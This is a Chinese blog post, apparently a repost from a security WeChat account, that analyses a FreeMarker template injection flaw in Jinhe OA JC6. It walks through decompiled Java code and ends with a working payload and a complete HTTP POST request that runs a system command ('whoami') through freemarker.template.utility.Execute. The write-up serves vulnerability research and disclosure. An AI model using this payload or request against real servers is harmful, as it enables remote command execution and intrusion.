金和OA JC6 FreeMarker模板注入漏洞简析

admin 2024年6月10日22:46:56评论8 views字数 2158阅读7分11秒阅读模式

01 分析

开局一张图,CSDN上分享出来的只带POC的文章

金和OA JC6 FreeMarker模板注入漏洞简析

漏洞出现在viewConTemplate.action方法中,完整URL为:

/jc6/platform/portalwb/portalwb-con-template!viewConTemplate.action

金和Jc6完全由Java开发编写,因此审计时候直接反编译Jar文件即可

搜索viewConTemplate方法,位于portalwbConTemplateAction类中

金和OA JC6 FreeMarker模板注入漏洞简析

viewConTemplate方法的代码很短很简单,来分析下

金和OA JC6 FreeMarker模板注入漏洞简析

首先代码如下:

FileOutputStream out = null;    try {      String sameName = this.uuid + ".ftl";      File file = new File(PortalTemplateUtil.TEMPLATE_TEMP_DIR);      if (!file.exists())        file.mkdirs();       out = new FileOutputStream(PortalTemplateUtil.TEMPLATE_TEMP_DIR + File.separator + sameName);      String code = this.request.getParameter("code");      code = URLDecoder.decode(code, "UTF-8");      code = code.replaceAll("&lt;", "<").replaceAll("&quot;", """).replaceAll("&#39;", "'").replaceAll("&gt;", ">").replaceAll("&nbsp;", " ").replaceAll("<br />", "").replaceAll("<p>", "").replaceAll("</p>", "").replaceAll("&amp;", "&");      byte[] b = code.getBytes();      out.write(b);      out.flush();      try {        if (out != null)          out.close();       } catch (IOException e) {        e.printStackTrace();      }

判断是否存在临时目录,不存在则新建目录和文件名

String sameName = this.uuid + ".ftl";File file = new File(PortalTemplateUtil.TEMPLATE_TEMP_DIR);if (!file.exists())file.mkdirs(); out = new FileOutputStream(PortalTemplateUtil.TEMPLATE_TEMP_DIR + File.separator + sameName);

通过code参数接收模板内容,并替换编码的字符

String code = this.request.getParameter("code");code = code.replaceAll("&lt;", "<").replaceAll("&quot;", """).replaceAll("&#39;", "'").replaceAll("&gt;", ">").replaceAll("&nbsp;", " ").replaceAll("<br />", "").replaceAll("<p>", "").replaceAll("</p>", "").replaceAll("&amp;", "&");

之后写入临时文件中

byte[] b = code.getBytes();out.write(b);out.flush();

接着来到渲染模板的功能

金和OA JC6 FreeMarker模板注入漏洞简析

金和OA JC6 FreeMarker模板注入漏洞简析

此处读取临时文件内容,并渲染成Freemarker的模板,因为模板内容可以指定就造成了注入漏洞

咱们构造POC为:

code=${"freemarker.template.utility.Execute"?new()("whoami")}

使用Freemarker自带的 freemarker.template.utility.Execute类里面命令执行方法,执行获取回显

金和OA JC6 FreeMarker模板注入漏洞简析

之后根据前端页面接收参数,再传参uuid、moduId进行请求

金和OA JC6 FreeMarker模板注入漏洞简析

构造请求数据包如下:

POST /jc6/platform/portalwb/portalwb-con-template!viewConTemplate.action HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Content-Type: application/x-www-form-urlencodedContent-Length: 0

moduId=1&code=${"freemarker.template.utility.Execute"?new()("whoami")}&uuid=1

执行whoami命令,获得当前身份回显

金和OA JC6 FreeMarker模板注入漏洞简析

至此FreeMarker模板注入漏洞分析完毕

金和OA JC6 FreeMarker模板注入漏洞简析

原文始发于微信公众号(HackingWiki漏洞感知):金和OA JC6 FreeMarker模板注入漏洞简析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月10日22:46:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   金和OA JC6 FreeMarker模板注入漏洞简析https://cn-sec.com/archives/2835659.html

发表评论

匿名网友 填写信息